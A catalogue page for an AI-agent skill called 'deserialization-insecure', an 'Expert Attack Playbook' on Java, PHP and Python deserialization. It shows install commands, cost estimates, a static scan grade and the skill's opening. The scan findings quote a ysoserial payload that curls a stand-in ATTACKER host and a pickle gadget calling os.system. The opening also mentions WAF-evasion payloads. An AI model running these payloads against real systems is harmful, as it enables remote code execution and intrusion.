Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add SecurityTalent/bugskill-ai --skill deserialization-insecuregit clone --depth 1 https://github.com/SecurityTalent/bugskill-aiWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/securitytalent/bugskill-ai/deserialization-insecure)<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/deserialization-insecure"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/deserialization-insecure/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/deserialization-insecure"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/deserialization-insecure.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00052 | $0.06558 |
| Opus 5.5 | $0.00021 | $0.02623 |
| Sonnet 5.5 | $0.00010 | $0.01312 |
| Haiku 4.5 | $0.00005 | $0.00656 |
Grade A, and why
deserialization-insecure scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned" > payload.bin Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
return (os.system, ("id",)) This is a copy
100% identical to deserialization-insecure — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 726 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SKILL: Insecure Deserialization — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert deserialization techniques across Java, PHP, and Python. Covers gadget chain selection, traffic fingerprinting, tool usage (ysoserial, PHPGGC), Shiro/WebLogic/Commons Collections specifics, Phar deserialization, and Python pickle abuse. Base models often miss the distinction between finding the sink and finding a usable gadget chain.
0. RELATED ROUTING
- jndi-injection when deserialization leads to JNDI lookup (e.g., post-JDK 8u191 bypass via LDAP → deserialization)
- unauthorized-access-common-services when the deserialization endpoint is an exposed management service (RMI Registry, T3, AJP)
- ghost-bits-cast-attack when a WAF blocks your BCEL ClassLoader or Fastjson
@typepayload — Ghost Bits wraps each bytecode byte in a Unicode char whose low 8 bits match, yielding a payload the WAF cannot fingerprint
Advanced Reference
Also load JAVA_GADGET_CHAINS.md when you need:
- Java gadget chain version compatibility matrix (CommonsCollections 1–7, CommonsBeanutils, Spring, JDK-only, Groovy, Hibernate, ROME, C3P0, etc.)
- SnakeYAML gadget (ScriptEngineManager/URLClassLoader) with exploit JAR structure
- Hessian/Kryo/Avro/XStream deserialization patterns and traffic fingerprints
- .NET ViewState deserialization (machineKey requirement, ViewState forgery with ysoserial.net, Blacklist3r)
- Ruby YAML.load vs YAML.safe_load exploitation with version-specific chains
- Detection fingerprints: magic bytes table by format (Java
AC ED, .NETAAEAAD, Python pickle80 0N, PHPO:, Ruby04 08)
1. TRAFFIC FINGERPRINTING — IS IT DESERIALIZATION?
Java Serialized Objects
| Indicator | Where to Look |
|---|---|
Hex ac ed 00 05 |
Raw binary in request/response body, cookies, POST params |
Base64 rO0AB |
Cookies (rememberMe), hidden form fields, JWT claims |
Content-Type: application/x-java-serialized-object |
HTTP headers |
| T3/IIOP protocol traffic | WebLogic ports (7001, 7002) |
What ships with it
1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 726 lines · 52 tokens per session scan A 4304aacd259c
deserialization-insecure is a skill published in the GitHub repository SecurityTalent/bugskill-ai (13 stars, last pushed 21d ago), licensed MIT. It adds 52 tokens to every session and 6,558 once invoked, about $0.0002 per session on Opus 5.5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). It is 100% identical to deserialization-insecure, differing in 0 lines, and is treated as a copy.
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